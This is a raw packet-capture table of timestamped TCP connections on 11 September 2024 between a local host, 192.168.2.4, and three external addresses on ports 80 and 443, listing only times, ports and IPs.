Sep 11, 2024 16:22:19.048974037 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.051279068 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.051282883 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.051294088 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.051330090 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.051350117 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.051354885 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.051366091 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.051373005 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.051397085 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.051422119 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.051448107 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.051453114 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.051462889 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.051467896 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.051475048 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.051490068 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.051506996 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.051527977 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.051533937 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.051543951 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.051569939 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.052917004 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.052922964 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.052933931 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.052959919 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.052983046 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.053019047 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.053024054 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.053035021 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.053039074 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.053045988 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.053060055 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.053080082 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.053772926 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.053812027 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.053821087 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.053857088 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.053874969 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.053880930 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.053890944 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.053895950 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.053913116 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.053937912 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.055438042 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.055505037 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.057212114 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.057218075 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.057228088 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.057262897 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.057286024 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.057291985 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.057302952 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.057308912 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.057329893 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.057357073 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.059011936 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.059020042 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.059031010 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.059036016 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.059041977 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.059052944 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.059058905 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.059073925 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.059098005 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.059206009 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.059211969 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.059221983 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.059226990 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.059232950 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.059261084 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.059278011 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.059304953 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.059312105 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.059346914 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.059421062 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.059478998 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.059698105 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.059704065 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.059715033 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.059746981 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.059870005 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.059875965 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.059885979 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.059894085 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.059914112 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.059937954 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.064600945 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.064606905 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.064616919 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.064685106 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.064691067 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.064706087 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.064718008 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.064723015 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.064766884 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.064766884 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.067192078 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.067198038 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.067209005 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.067269087 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.067269087 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.067302942 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.067308903 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.067318916 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.067323923 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.067329884 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.067372084 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.067372084 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.067401886 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.067408085 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.067419052 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.067424059 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.067430973 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.067436934 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.067461967 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.067461967 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.067487001 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.067492008 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.067502975 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.067507982 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.067512989 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.067519903 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.067529917 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.067529917 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.067553043 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.067558050 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.067559004 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.067559004 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.067563057 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.067604065 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.067604065 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.067636967 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.067642927 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.067652941 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.067657948 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.067662954 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.067675114 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.067704916 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.067704916 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.067792892 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.067797899 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.067804098 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.067809105 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.067815065 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.067826986 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.067831993 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.067837954 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.067848921 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.067852974 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.067854881 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.067854881 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.067910910 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.067915916 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.067926884 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.067951918 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.067951918 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.068176031 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.072171926 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.072180986 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.072191000 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.072211981 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.072216988 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.072227955 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.072232962 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.072263002 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.072263002 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.072295904 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.072520018 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.078464031 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.078469038 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.078480005 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.078505039 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.078511000 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.078521013 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.078526974 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.078571081 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.078571081 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.078633070 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.078639030 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.078648090 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.078653097 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.078659058 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.078670025 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.078675032 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.078677893 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.078677893 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.078962088 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.078972101 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.079417944 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.080039024 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.080054045 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.080064058 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.080111027 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.080460072 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.080465078 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.080480099 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.080485106 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.080496073 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.080502033 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.080507040 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.080518007 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.080521107 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.080521107 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.080526114 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.080532074 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.080538034 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.080542088 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.080559015 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.080559015 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.081090927 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.081636906 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.081643105 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.081654072 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.081679106 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.081684113 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.081690073 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.081701040 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.081712008 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.081712008 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.082191944 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.082683086 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.082689047 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.082699060 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.082741976 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.082746983 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.082757950 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.082762957 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.082783937 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.082783937 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.082851887 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.082858086 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.082869053 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.082874060 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.082880020 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.082890987 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.082895994 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.082895994 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.082895994 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.082935095 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.082935095 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.083061934 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.083066940 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.083076954 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.083081961 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.083087921 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.083095074 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.083128929 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.083128929 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.083287001 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.083447933 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.085575104 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.085581064 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.085592985 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.085634947 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.085642099 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.085647106 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.085658073 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.085664034 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.085695028 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.085711002 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.085762978 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.085768938 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.085778952 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.085783005 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.085788965 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.085794926 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.085805893 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.085805893 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.085810900 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.085825920 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.085841894 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.086055994 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.086060047 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.086071014 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.086098909 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.086110115 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.086114883 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.086126089 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.086131096 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.086148977 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.086163998 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.086169958 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.086175919 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.086185932 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.086190939 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.086210966 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.086235046 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.086257935 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.086261988 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.086272001 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.086277008 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.086282969 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.086296082 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.086324930 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.086348057 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.086352110 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.086361885 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.086366892 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.086371899 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.086385012 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.086386919 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.086390972 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.086396933 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.086416960 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.086442947 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.087199926 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.087205887 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.087217093 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.087253094 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.087328911 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.087333918 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.087344885 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.087349892 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.087356091 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.087364912 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.087378025 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.087412119 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.087416887 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.087426901 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.087435961 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.087451935 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.087503910 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.087508917 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.087519884 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.087523937 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.087555885 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.087790012 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.089310884 CEST	443	49753	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:19.089379072 CEST	49753	443	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:19.089493036 CEST	443	49753	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:19.089540005 CEST	49753	443	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:19.090419054 CEST	80	49736	176.113.115.33	192.168.2.4
